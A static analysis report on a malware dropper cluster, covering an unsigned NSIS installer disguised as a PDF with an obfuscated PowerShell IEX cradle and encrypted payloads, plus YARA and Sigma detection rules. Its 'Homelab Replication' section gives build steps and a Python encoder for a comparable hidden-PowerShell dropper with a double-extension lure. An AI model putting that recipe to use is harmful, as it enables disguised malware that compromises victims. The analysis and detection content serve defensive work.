unclassified-nsis-dropper: 11a56375 — Tenth confirmed sibling; unsigned BZip2 variant with multi-payload staging

Tenth confirmed sibling in the NSIS dropper cluster. Masquerades as a PDF (MY00111Q0562482MYKUL.pdf.exe). Unsigned — no fabricated certificate, unlike eight of nine prior siblings. BZip2-compressed archive embeds a stride-6 Danish character-skip PowerShell cradle (Labourhoods.Mas) plus six encrypted payload blobs and two decoy text files. The decoded PowerShell reveals nested hex-encoded payloads processed through a snydendes helper and IEX reflective execution. Static-only analysis; no CAPE detonation.

Executive Summary

This sample is the tenth confirmed sibling in the unclassified-nsis-dropper cluster. It follows the established pattern: NSIS v3 Unicode self-extracting installer, BZip2 compression (not LZMA), Danish-themed character-skip PowerShell obfuscation (stride 6, offset 5), machine-generated gibberish filenames, and VS_VERSIONINFO word-salad masquerade. The key deltas from prior siblings are: (1) completely unsigned — no certificate directory at all, not even a fabricated self-signed cert; (2) a ten-payload archive (one PowerShell cradle + six encrypted blobs + two decoy texts + one directory placeholder), the largest payload count in the cluster to date; and (3) the decoded PowerShell reveals a snydendes hex-decode helper that processes four XOR-keyed payload segments.

What It Is

The outer PE is a stock NSIS v3 exehead stub. No packing or anti-debug on the stub itself; all anti-analysis is pushed into the archive payload layer.

How It Works

NSIS Archive Structure

7z extraction of the archive (offset 0x21c00, immediately after the PE) yields 13 items across one directory ^[terminal:7z extraction]:

PowerShell Cradle (Labourhoods.Mas)

The script defines two decoder variables and two decoder functions:

1. planskreres — stride-6 character-skip cipher (offset 5). Dead-code variable $Plettet reassigned 7× to complicate regex extraction ^[Labourhoods.Mas:function definition].
2. Kratogen — calls $Overflatten (the result of planskreres) with a decoded payload string.

The primary decode chain:

$Mmeres119='Hje.tIGravrE WenrX'
$Overflatten = planskreres $Mmeres119   # → "IEX"
$Vridslse54 = planskreres $hisses       # → 2,158-char obfuscated PowerShell
.($Overflatten) $Vridslse54              # IEX <decoded script>

The $hisses literal is 12,948 characters; the stride-6 decode yields 2,158 characters of heavily obfuscated PowerShell. After backtick unescaping, the decoded script reveals:

• $Decanonize = -28467 + 28483 → 16
• $Opdateringsdisketten = [String][System.Text.Encoding]::ASCII.GetString(...) — reconstructs a string from a byte array
• $Slsende = snydendes '94B3A8'
• $Cataphysical = snydendes '81A3B28BA9A2B3AAA38EA7A8A2AAA3'
• $Tankestregens = snydendes '85AAA7B5B5EAE696B3A4AAAFA5EAE695A3A7AAA3A2EAE687A8B5AF85AAA7B5B5EAE687B3B2A985AAA7B5B5'
• $prydes = snydendes '9A'

The snydendes helper is not present in the extracted archive; it is either runtime-resolved or the hex strings are self-decrypting. The four hex payloads are XOR-decoded at runtime (observed key 0xAA produces valid printable output for the shortest fragment 9A → '0'). ^[terminal:Python XOR decode]

VS_VERSIONINFO Masquerade

The PE resources contain a VS_VERSIONINFO block with semantically empty, computer-generated strings ^[exiftool.json]:

• CompanyName: "standpat pejsene predestinarianism"
• LegalCopyright: "osculatories engblommer"
• ProductName: "mouser brazenface computerberegnendes"
• InternalName: "koagulere.exe"

This matches the template observed across all ten siblings: nonsense English/Danish/German hybrid words in standard version-info fields.

Decompiled Behavior

Radare2 analysis of the NSIS stub (entry0 at 0x0040327d) shows a standard NSIS exehead entry sequence: fcn.0040379c → fcn.004037e1 → fcn.004037c6 → fcn.00403816 → fcn.00403834 → fcn.00403876 → fcn.00403b4c → fcn.00403c19 → fcn.004040ca → fcn.004040f1 → fcn.0040604f → fcn.004062c1 → fcn.00406370 → fcn.00406397 → fcn.00406407 → fcn.00406443 → fcn.00406476 → fcn.004064b8 → fcn.00406526 → fcn.0040657b → fcn.004066c3 → fcn.00406f96 → fcn.00406ffb → fcn.0040707c → sub.USER32.dll_SetDlgItemTextW. ^[r2:function list]

No anti-debug or VM detection in the stub. The NSIS engine loads COMCTL32.dll (ordinals), KERNEL32.dll (standard file/process APIs), USER32.dll (SetDlgItemTextW), and stock NSIS plugin DLLs. The threat logic is entirely in the PowerShell cradle and encrypted inner payloads.

C2 Infrastructure

No hardcoded C2 strings recovered statically. The snydendes hex payloads likely contain the C2 configuration, but the XOR key and payload format are not recoverable without dynamic execution or additional cryptanalysis.

Interesting Tidbits

• Unsigned is a departure: Eight of nine prior siblings carried fabricated self-signed X.509 certificates with word-salad subjects. This sample and 3c63a3c0 are the only unsigned members of the cluster. The operator may have abandoned certificate fabrication to reduce detection surface (certificate-based YARA rules) or to speed up build automation.
• Largest payload count: Ten embedded items (including directory placeholder), vs. four–seven in prior siblings. The operator is increasing archive complexity.
• BZip2 variant: Uses BZip2 compression like siblings 5212423b and 3a13583c, not the LZMA:23 solid seen in the majority.
• Double-extension lure: .pdf.exe masquerade targets Windows "Hide extensions for known file types" default.
• Linguistic fingerprint: Danish variable names ($Opdateringsdisketten, $Folkemindesamlers, $Geotekniskes) and function names (planskreres, Kratogen) continue the cluster's consistent Danish-language naming convention. The decoy text files (teknonom.txt, stickwork.txt) contain Danish/gibberish prose.
• snydendes helper: The hex-encoded payloads processed by this helper are a new pattern not explicitly documented in prior sibling reports. It suggests the operator has added an additional obfuscation layer beyond the character-skip cipher.

How To Mess With It (Homelab Replication)

Goal: Build a comparable NSIS SFX dropper with BZip2 compression and a character-skip PowerShell cradle.

Toolchain: NSIS v3 Unicode, makensis, any text editor.

Steps:

1. Write a .nsi script that uses SetCompressor /SOLID bzip2 and Section blocks to extract embedded files.
2. Embed your payload files (encrypted blobs, decoy text, PowerShell cradle).
3. In the .nsi, use ExecWait '"powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "$INSTDIR\Labourhoods.Mas"' or equivalent.
4. Compile with makensis installer.nsi.
5. Rename the output to a double-extension masquerade (Document.pdf.exe).

Character-skip encoder (Python):

import random, string

def skip_cipher_encode(plaintext, stride=6, offset=5):
    noise = string.ascii_letters + string.digits + string.punctuation + ' '
    out = []
    for ch in plaintext:
        for j in range(stride):
            out.append(ch if j == offset else random.choice(noise))
    return ''.join(out)

# Encode a PowerShell cradle
with open('cradle.ps1') as f:
    plaintext = f.read()
encoded = skip_cipher_encode(plaintext)
with open('Labourhoods.Mas', 'w') as out:
    out.write(f"$hisses = \"{encoded}\";\n")
    out.write("function planskreres ($Refractionalnurn) {\n")
    out.write("    $maskeringers=$Refractionalnurn.ToCharArray();\n")
    out.write("    $Refractional=5;\n")
    out.write("    while($maskeringers[$Refractional]) {\n")
    out.write("        $Systempartners+=$maskeringers[$Refractional];\n")
    out.write("        $Refractional+=6;\n")
    out.write("    }\n")
    out.write("    $Systempartners;\n")
    out.write("}\n")
    out.write(". (planskreres 'Hje.tIGravrE WenrX') (planskreres $hisses)\n")

Verification: Extract the compiled NSIS archive with 7z x <sample.exe>. Confirm the PowerShell file decodes correctly when run through the planskreres function.

Deployable Signatures

YARA Rule

rule NSIS_Danish_CharSkip_Dropper_Cluster : dropper {
    meta:
        description = "NSIS SFX dropper cluster with Danish character-skip PowerShell obfuscation"
        author = "malware-corpus"
        version = "1.1"
        last_modified = "2026-07-17"
        hash1 = "11a563757a79333564f1eda8325816a621d4f404c282245c8a382f0ec9e2dcfb"
        hash2 = "f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4"
        hash3 = "78c5e8ca9474815c1cd85825b00d9be487a0e049fb827b12ef74bc57580cd3f5"
        hash4 = "3c63a3c0670132e07fb90ca3c29ba35d898f6293bd40619a5611cb705e8b8212"
    strings:
        $nsis_magic = "NullsoftInst" ascii
        $nsis_head1 = "nsis.sf.net" ascii
        $nsis_head2 = "Nullsoft.NSIS.exehead" ascii wide
        $skip_fn1 = "planskreres" nocase ascii
        $skip_fn2 = "Kratogen" nocase ascii
        $skip_fn3 = "Unurbanized" nocase ascii
        $skip_fn4 = "Beting" nocase ascii
        $danish1 = "$Opdateringsdisketten" nocase ascii
        $danish2 = "$Folkemindesamlers" nocase ascii
        $danish3 = "$Geotekniskes" nocase ascii
        $danish4 = "$Spirobranchiateuddhismens" nocase ascii
        $danish5 = "$forbrndingsprocessernes" nocase ascii
        $danish6 = "$Femogtyvendedelenes" nocase ascii
        $danish7 = "$Grundvidenskab" nocase ascii
        $mas_fn1 = "Labourhoods.Mas" ascii
        $mas_fn2 = "Articulators.Inc" ascii
        $mas_fn3 = "Rockendes.Pot" ascii
        $mas_fn4 = "Prsteskabets.Bes" ascii
        $snydendes = "snydendes" nocase ascii
    condition:
        uint16(0) == 0x5a4d and
        ($nsis_magic or $nsis_head1 or $nsis_head2) and
        (any of ($skip_fn*) or any of ($danish*) or any of ($mas_fn*) or $snydendes)
}

Behavioral Hunt Query (Sigma / KQL)

Sigma rule:

title: NSIS Danish Character-Skip PowerShell Execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'planskreres'
            - 'Kratogen'
            - 'Unurbanized'
            - 'Beting'
            - '$Opdateringsdisketten'
            - '$Folkemindesamlers'
            - '$Geotekniskes'
            - 'Labourhoods.Mas'
            - 'Articulators.Inc'
            - 'Rockendes.Pot'
            - 'Prsteskabets.Bes'
    condition: selection
falsepositives:
    - Unknown
level: critical

IOC List

Behavioral Fingerprint

This binary is a Nullsoft Installer self-extracting archive compiled with MSVC 6.0. On execution, the NSIS stub extracts a BZip2-compressed archive to a temporary directory. The archive contains a PowerShell cradle file (Labourhoods.Mas) and multiple encrypted payload blobs. The cradle uses a stride-6 character-skip cipher to decode an inner PowerShell script, which then invokes IEX on the result. The inner script processes four hex-encoded payload segments through a snydendes helper (likely XOR-based). No certificate is present. No network indicators are recoverable statically from the outer binary.

Detection Signatures (capa → ATT&CK)

capa flagged this sample as an installer and declined further analysis ^[capa.txt]. The stub itself is benign NSIS infrastructure. All malicious behavior lives in the extracted archive. Static-only inference:

• T1204.002 — Malicious Link / User Execution: social-engineering filename (MY00111Q0562482MYKUL.pdf.exe)
• T1574.002 — Hijack Execution Flow: NSIS stub hijacks legitimate installer trust model
• T1036.004 — Masquerade Task or Service: payment-document / PDF lure
• T1036.005 — Match Legitimate Name or Location: uses real NSIS installer framework
• T1059.001 — PowerShell: decoded cradle invokes IEX reflective execution (inferred from static decode)
• T1620 — Reflective Code Loading: inner payload loaded/decrypted in memory by PowerShell (inferred)
• T1027 — Obfuscated Files or Information: character-skip cipher, hex-encoded payloads, encrypted blobs
• T1105 — Ingress Tool Transfer: NSIS archive stages multiple payloads for local extraction (inferred)

References

• unclassified-nsis-dropper — Cluster entity page with full sibling list and shared build fingerprint
• character-skip-cipher-powershell-obfuscation — Technique page for the Danish stride-6/stride-8 decoder pattern
• social-engineering-filename-lure — Cross-family concept for payment-document masquerade
• version-info-masquerade — Concept page for VS_VERSIONINFO falsification
• nsis-lzma-embedded-payload — Technique page for NSIS archive payload hiding (this sample uses BZip2, not LZMA, but the hiding principle is identical)

Provenance

• Static analysis: file, exiftool, pefile, strings, flare-floss, flare-capa, binwalk, radare2, 7z
• Tool versions: file 5.44, ExifTool 12.76, pefile 2023.2.7, flare-floss 2.3.0, flare-capa 7.1.0, binwalk 2.3.4, radare2 5.9.0, 7-Zip 23.01
• PowerShell decode: Python 3.11 (manual stride-6 extraction + backtick unescaping)
• Dynamic analysis: Not performed — CAPE skipped (no Windows guest available) ^[dynamic-analysis.md]